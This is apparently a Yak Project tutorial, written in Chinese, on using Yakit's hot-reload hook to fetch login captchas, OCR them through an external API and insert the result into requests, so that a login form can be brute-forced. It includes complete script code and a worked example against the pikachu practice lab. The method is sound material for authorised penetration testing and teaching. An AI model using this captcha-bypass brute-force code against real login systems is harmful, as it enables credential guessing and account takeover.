跳到主要内容

工程实践:基于热加载的验证码识别与爆破

· 阅读需 5 分钟
Yak ProjectYak Project

Yakit的热加载是一项非常强大的功能,在这之前有许多用户使用它进行图像验证码的爆破。但是最近有用户在交流群中反馈爆破的过程中遇到了一些问题,比如说发的包会存在许多失败的情况。本期知识分享将为大家介绍如何合理使用热加载功能对带有验证码的登录功能进行图像识别与爆破。

验证码识别爆破流程

验证码一般会在注册、登录等功能,用来防止自动化工具的攻击。一般的验证码生成过程如下图所示:

我们可以看到,验证码在访问功能页面的时候便已经生成,并且服务端在生成验证码的时候会将结果保存,并作为以用户输入的验证码做比较的依据。一般而言,验证码不具备复用性,在你输错验证码或者重新请求验证码接口的时候,后台便会刷新,并返回新的验证码,这大大提高了爆破的难度。

热加载参与验证码爆破的生命周期

那么,Yakit的热加载如何进行验证码爆破呢?答案是我们需要让热加载参与到客户端请求验证码客户端接收验证码客户端发送验证码的生命周期中。如下图所示:

  • 客户端请求验证码:在这个阶段,我们可以使用poc库发送HTTP请求,请求一份验证码。
  • 客户端接收验证码:这个阶段,在热加载中可以将服务端返回的图片验证码转化为base64形式,方便后续进行ocr图像识别。
  • 客户端发送验证码:将base64形式的图片数据发送到图像识别平台,或者在本地搭建的如ddddocr图像识别接口进行识别,然后将识别得到的验证码替换原始报文中验证码参数并发送。

实战:以pikachu靶场为例

理论形成,实践开始。

这里以pikachu靶场中验证码绕过(on server)为例。

我们先随便输入一些内容,并抓包查看内容。可以发现对验证码进行了识别:

然后我们开始编写热加载代码。从热加载参与验证码爆破的声明周期可以知道,我们只要在发送数据包之前做处理就可以,即我们热加载代码写在beforeRequest函数内就行。

客户端请求与接收验证码

首先通过查看验证码链接,知道验证码请求的接口为/pikachu/inc/showvcode.php,因此可以调用该接口得到验证码图像数据,并使用codec将其转化为base64的形式:

rsp, _ := poc.Get(`http://127.0.0.1/pikachu/inc/showvcode.php`)~
imageData = rsp.GetBody()
base64Image := codec.EncodeBase64(imageData)

识别并替换验证码

这里使用验证码识别平台进行识别验证码,将api的token及图像数据作为POST的参数进行发送。api返回的是json格式的数据,这里使用json库获取识别到的信息。并将请求包的__verify__替换为验证码。__verify__为占位符,以方便对参数进行替换。

apiURL = "http://api.example.com/api/ocr"   #验证码识别api
token = "xxxxxxx" #toekn

rsp,_=poc.Post(apiURL, poc.appendPostParam("image", base64Image),poc.appendPostParam("token",token))~
result:=json.loads(rsp.GetBody())
code=json.Find(result, `$.data.data`)
req = re.ReplaceAll(req, `__verify__`, code)

完整的热加载代码如下:

// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []byte
beforeRequest = func(req) {
rsp, _ := poc.Get(`http://127.0.0.1/pikachu/inc/showvcode.php`)~
imageData = rsp.GetBody()
base64Image := codec.EncodeBase64(imageData)

apiURL = "http://api.example.com/api/ocr" #验证码识别api
token = "xxxxxxx" #toekn

rsp,_=poc.Post(apiURL, poc.appendPostParam("image", base64Image),poc.appendPostParam("token",token))~
result:=json.loads(rsp.GetBody())
code=json.Find(result, `$.data.data`)
req = re.ReplaceAll(req, `__verify__`, code)
return []byte(req)
}

请求包可以修改成如下,验证码参数使用__verify__作为占位符。然后账号和密码可以设置上自己的字典,并将并发线程设置为1,这样就能够爆破啦。

最后可以看到验证码成功被识别出来

让热加载错误参与验证码生命周期

我们在社群接到小伙伴反馈说,所有设置都按照教程设置了,为什么验证码很多都没识别出来呢?这是这位小伙伴的热加载代码:

我们发现它在handle2使用了热加载,但是由于fuzztag会预先进行渲染,渲染的时候会发送一次验证码API,导致验证码刷新,从而使得后续识别到的验证码与session绑定的验证码不一致。

因此,在我们明确了热加载在验证码识别的生命周期,也就明白了为什么要写在beforeRequest里啦。

总结

热加载用来验证码识别或者csrf token的思路其实是一样的,只不过多了个ocr的步骤。本文使用的字母与数字组合验证码,但是只要明确热加载参与的生命周期,识别其它验证码思路也是一致的。


本文首发于 Yak Project 公众号,阅读原文